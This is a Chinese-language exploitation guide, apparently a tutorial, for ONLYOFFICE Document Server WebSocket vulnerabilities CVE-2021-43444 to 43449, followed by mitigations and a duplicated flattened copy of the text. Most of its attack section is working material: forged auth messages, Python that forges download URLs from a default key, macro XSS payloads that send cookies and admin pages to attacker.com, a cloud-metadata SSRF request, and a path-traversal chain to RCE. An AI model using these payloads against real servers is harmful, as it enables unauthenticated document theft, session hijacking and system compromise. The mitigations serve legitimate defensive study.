CVE-2021-43444 到 43449:利用 ONLYOFFICE Web 套接字进行未经身份验证的远程代码执行
字数 1958 2025-08-24 07:48:34

ONLYOFFICE WebSocket漏洞分析与利用指南 (CVE-2021-43444至43449)

漏洞概述

本教学文档详细分析了ONLYOFFICE Document Server中的一系列安全漏洞,这些漏洞允许攻击者实现未经身份验证的远程代码执行(RCE)。这些漏洞主要涉及WebSocket接口的安全缺陷,影响版本为7.2之前的ONLYOFFICE Document Server。

漏洞背景

ONLYOFFICE是一个流行的在线文档编辑套件,常被集成到文档管理系统中。研究人员在对一个文档管理平台进行渗透测试时发现,尽管系统实现了文档加密存储,但在编辑过程中文档会以未加密形式传输到客户端。

漏洞详情

CVE-2021-43447: 未经身份验证的WebSocket连接

  • 漏洞描述: ONLYOFFICE WebSocket端点接受任何连接请求,不验证会话cookie或其他身份验证凭证
  • 影响: 攻击者可以连接到WebSocket接口,无需任何认证
  • 验证方法:
    GET /websocket HTTP/1.1
    Host: target-server
    Upgrade: websocket
    Connection: Upgrade
    Sec-WebSocket-Version: 13
    Sec-WebSocket-Key: randomkey==
    

CVE-2021-43445: 默认JWT签名密钥

  • 漏洞描述: JWT签名默认使用弱密钥"secret"
  • 影响: 即使启用了JWT验证,攻击者也能轻易伪造有效令牌
  • 利用方法: 使用默认密钥生成JWT令牌绕过验证

CVE-2021-43444: 默认下载URL签名密钥

  • 漏洞描述: 文档下载URL使用MD5签名,默认密钥为"verysecretstring"
  • 影响: 知道文档ID即可构造有效下载URL,获取未加密文档
  • 利用方法:
    import hashlib
    doc_id = "known_document_id"
    signature = hashlib.md5(f"{doc_id}verysecretstring".encode()).hexdigest()
    download_url = f"http://target-server/download/{doc_id}?md5={signature}"
    

CVE-2021-43448: WebSocket篡改

  • 漏洞描述: 通过WebSocket发送的第一条"auth"消息可被篡改
  • 影响: 攻击者可伪造用户名进行聊天等操作
  • 利用方法: 连接后发送伪造的auth消息:
    {"type": "auth", "token": "fake_token", "user": {"id": "attacker", "name": "Admin"}}
    

CVE-2021-43446: 宏中的XSS

  • 漏洞描述: 宏功能直接使用eval()执行JavaScript代码
  • 影响: 可注入恶意脚本,在用户打开文档时执行
  • 利用方法: 通过WebSocket注入恶意宏:
    {
      "type": "macro",
      "guid": "malicious_macro",
      "value": "alert('XSS');fetch('http://attacker.com/steal?cookie='+document.cookie)"
    }
    

CVE-2021-43449: "auth"命令中的SSRF

  • 漏洞描述: WebSocket的auth命令处理不当可能导致SSRF
  • 影响: 可探测内部网络或访问云元数据服务
  • 利用方法: 通过精心构造的auth请求触发内部请求

漏洞利用链

1. 信息收集阶段

  • 通过XSS或其他方式获取有效文档ID
  • 或直接尝试枚举可能的文档ID

2. WebSocket连接

import websockets

async def connect_websocket():
    async with websockets.connect('ws://target-server/websocket') as ws:
        # 发送伪造的auth消息
        await ws.send('{"type":"auth","token":"fake_token","user":{"id":"attacker","name":"Admin"}}')
        # 监听消息获取文档信息

3. 文档下载利用

  • 使用默认签名密钥构造文档下载URL
  • 或通过WebSocket获取签名URL

4. 宏注入攻击

macro_payload = {
    "type": "macro",
    "guid": "backdoor",
    "value": """
    (function(){
        var Api = window.g_asc_plugins.api;
        fetch('/admin/users', {credentials: 'include'})
        .then(response => response.text())
        .then(data => fetch('http://attacker.com/exfil?data='+encodeURIComponent(data)));
    })();
    """
}

5. 文档转换器SSRF

  • 通过WebSocket请求转换外部URL
  • 探测内部网络或云元数据服务:
    {
      "type": "convert",
      "url": "http://169.254.169.254/latest/meta-data/",
      "output": "txt"
    }
    

6. 路径遍历到RCE

  1. 创建恶意DOCX文件,包含路径遍历的ZIP条目(如"../../tmp/evil.so")
  2. 托管该文件并通过WebSocket请求转换:
    {
      "type": "convert",
      "url": "http://attacker.com/malicious.docx",
      "output": "pdf"
    }
    
  3. 利用路径遍历写入恶意.so文件到可执行目录
  4. 触发加载恶意库实现RCE

漏洞利用工具 - PwnlyOffice

GitHub仓库: https://github.com/nettitude/pwnlyoffice

主要功能:

  • 自动化WebSocket连接和认证绕过
  • 文档ID枚举和文档下载
  • 宏注入和XSS攻击
  • 文档转换器SSRF探测
  • 路径遍历漏洞利用
  • 后门安装和命令执行

缓解措施

  1. 升级到最新版本: ONLYOFFICE 7.2修复了这些漏洞
  2. 配置强化:
    • 修改默认JWT签名密钥
    • 修改文档下载URL签名密钥
    • 启用WebSocket身份验证
  3. 功能限制:
    • 禁用宏插件
    • 禁用聊天插件
  4. 网络隔离:
    • 文档服务器与内部网络隔离
    • 阻止文档服务器访问云元数据服务(169.254.169.254)
  5. 文件系统权限:
    • 限制Web服务用户写入权限
    • 确保不能写入/var/www/onlyoffice等关键目录

时间线与参考

  • 漏洞发现: 2021年初
  • 漏洞报告: 2021年
  • CVE分配:
    • CVE-2021-43447
    • CVE-2021-43445
    • CVE-2021-43444
    • CVE-2021-43448
    • CVE-2021-43446
    • CVE-2021-43449

原始研究文章: Nettitude Labs

总结

ONLYOFFICE Document Server在7.2版本前存在一系列严重安全漏洞,允许攻击者通过WebSocket接口实现未经身份验证的远程代码执行。这些漏洞的组合利用可以导致完全的系统入侵,特别是在集成到文档管理系统(如NextCloud)的环境中。管理员应立即升级到修复版本或实施严格的缓解措施。

ONLYOFFICE WebSocket漏洞分析与利用指南 (CVE-2021-43444至43449) 漏洞概述 本教学文档详细分析了ONLYOFFICE Document Server中的一系列安全漏洞,这些漏洞允许攻击者实现未经身份验证的远程代码执行(RCE)。这些漏洞主要涉及WebSocket接口的安全缺陷,影响版本为7.2之前的ONLYOFFICE Document Server。 漏洞背景 ONLYOFFICE是一个流行的在线文档编辑套件,常被集成到文档管理系统中。研究人员在对一个文档管理平台进行渗透测试时发现,尽管系统实现了文档加密存储,但在编辑过程中文档会以未加密形式传输到客户端。 漏洞详情 CVE-2021-43447: 未经身份验证的WebSocket连接 漏洞描述 : ONLYOFFICE WebSocket端点接受任何连接请求,不验证会话cookie或其他身份验证凭证 影响 : 攻击者可以连接到WebSocket接口,无需任何认证 验证方法 : CVE-2021-43445: 默认JWT签名密钥 漏洞描述 : JWT签名默认使用弱密钥"secret" 影响 : 即使启用了JWT验证,攻击者也能轻易伪造有效令牌 利用方法 : 使用默认密钥生成JWT令牌绕过验证 CVE-2021-43444: 默认下载URL签名密钥 漏洞描述 : 文档下载URL使用MD5签名,默认密钥为"verysecretstring" 影响 : 知道文档ID即可构造有效下载URL,获取未加密文档 利用方法 : CVE-2021-43448: WebSocket篡改 漏洞描述 : 通过WebSocket发送的第一条"auth"消息可被篡改 影响 : 攻击者可伪造用户名进行聊天等操作 利用方法 : 连接后发送伪造的auth消息: CVE-2021-43446: 宏中的XSS 漏洞描述 : 宏功能直接使用eval()执行JavaScript代码 影响 : 可注入恶意脚本,在用户打开文档时执行 利用方法 : 通过WebSocket注入恶意宏: CVE-2021-43449: "auth"命令中的SSRF 漏洞描述 : WebSocket的auth命令处理不当可能导致SSRF 影响 : 可探测内部网络或访问云元数据服务 利用方法 : 通过精心构造的auth请求触发内部请求 漏洞利用链 1. 信息收集阶段 通过XSS或其他方式获取有效文档ID 或直接尝试枚举可能的文档ID 2. WebSocket连接 3. 文档下载利用 使用默认签名密钥构造文档下载URL 或通过WebSocket获取签名URL 4. 宏注入攻击 5. 文档转换器SSRF 通过WebSocket请求转换外部URL 探测内部网络或云元数据服务: 6. 路径遍历到RCE 创建恶意DOCX文件,包含路径遍历的ZIP条目(如"../../tmp/evil.so") 托管该文件并通过WebSocket请求转换: 利用路径遍历写入恶意.so文件到可执行目录 触发加载恶意库实现RCE 漏洞利用工具 - PwnlyOffice GitHub仓库: https://github.com/nettitude/pwnlyoffice 主要功能: 自动化WebSocket连接和认证绕过 文档ID枚举和文档下载 宏注入和XSS攻击 文档转换器SSRF探测 路径遍历漏洞利用 后门安装和命令执行 缓解措施 升级到最新版本 : ONLYOFFICE 7.2修复了这些漏洞 配置强化 : 修改默认JWT签名密钥 修改文档下载URL签名密钥 启用WebSocket身份验证 功能限制 : 禁用宏插件 禁用聊天插件 网络隔离 : 文档服务器与内部网络隔离 阻止文档服务器访问云元数据服务(169.254.169.254) 文件系统权限 : 限制Web服务用户写入权限 确保不能写入/var/www/onlyoffice等关键目录 时间线与参考 漏洞发现: 2021年初 漏洞报告: 2021年 CVE分配: CVE-2021-43447 CVE-2021-43445 CVE-2021-43444 CVE-2021-43448 CVE-2021-43446 CVE-2021-43449 原始研究文章: Nettitude Labs 总结 ONLYOFFICE Document Server在7.2版本前存在一系列严重安全漏洞,允许攻击者通过WebSocket接口实现未经身份验证的远程代码执行。这些漏洞的组合利用可以导致完全的系统入侵,特别是在集成到文档管理系统(如NextCloud)的环境中。管理员应立即升级到修复版本或实施严格的缓解措施。